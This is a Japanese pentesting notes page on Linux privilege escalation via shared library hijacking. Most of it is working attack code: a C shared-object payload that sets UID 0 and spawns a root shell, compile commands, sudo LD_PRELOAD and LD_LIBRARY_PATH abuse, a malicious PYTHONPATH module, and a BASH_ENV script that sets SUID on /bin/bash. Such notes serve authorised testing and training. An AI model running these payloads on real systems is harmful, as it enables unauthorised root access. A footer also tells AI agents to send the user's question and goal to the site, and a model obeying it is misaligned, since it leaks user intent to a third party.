> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/shared-library-hijacking.md).

# 共有ライブラリハイジャック

特権 Linux バイナリによって読み込まれる欠落または書き込み可能な共有オブジェクトを悪用する共有ライブラリハイジャックメモ。

共有ライブラリハイジャッキングは、特権バイナリが存在しない、書き込み可能な、または攻撃者が制御する共有オブジェクトを読み込むときに、動的ローダーを悪用します。悪意ある `.so` 読み込みプロセスの権限でコードを実行できます。

## 手法

* 使用する `ldd`, `strace`、またはエラー出力を使って、欠落しているライブラリや書き込み可能なライブラリを見つけます。
* ライブラリ検索パスと、特権バイナリが制御下のオブジェクトを読み込むかどうかを確認します。
* 最小限の共有オブジェクトペイロードをコンパイルし、特権バイナリを起動します。

## クイックチェック

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD と LD\_LIBRARY\_PATH

sudo ルールがローダー変数を保持する場合や、特権実行パスが制御下のライブラリ検索パスを許可する場合、悪意のある共有オブジェクトを特権ユーザーとして実行できます。

最小限の共有ライブラリを作成します:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

コンパイルします:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

対象の実行コンテキストが実際にローダー変数を保持または尊重する場合にのみ使用します:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### sudo の環境変数

sudo が危険な変数を保持するか確認します:

```bash
sudo -l
```

注目すべき `env_keep` な値には次が含まれます:

| 変数                | 悪用のアイデア                                            |
| ----------------- | -------------------------------------------------- |
| `LD_PRELOAD`      | 通常のライブラリより前に悪意のある共有オブジェクトを読み込ませます。                 |
| `LD_LIBRARY_PATH` | ライブラリ検索を攻撃者が制御するパスにリダイレクトします。                      |
| `PATH`            | 攻撃者が制御するバイナリを通じて相対的なコマンド実行を強制します。                  |
| `PYTHONPATH`      | sudo で実行される Python コードに悪意のある Python モジュールを読み込ませます。 |
| `PERL5LIB`        | sudo で実行される Perl コードに悪意のある Perl モジュールを読み込ませます。     |

### PYTHONPATH の例

sudo ルールが Python を実行し、次を保持する場合 `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV の例

特権プログラムが `sh` をソースする形で `BASH_ENV`する場合は、制御されたスクリプトでテストします:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>libwelcome.so の共有ライブラリハイジャック</h4></td><td>Linux の権限昇格向けの共有ライブラリハイジャック（libwelcome.so）に関するメモ。列挙手順、悪用例、レポート作成を重視した検証を含みます。</td><td><a href="/ja/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">libwelcome.so 共有ライブラリハイジャック - Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
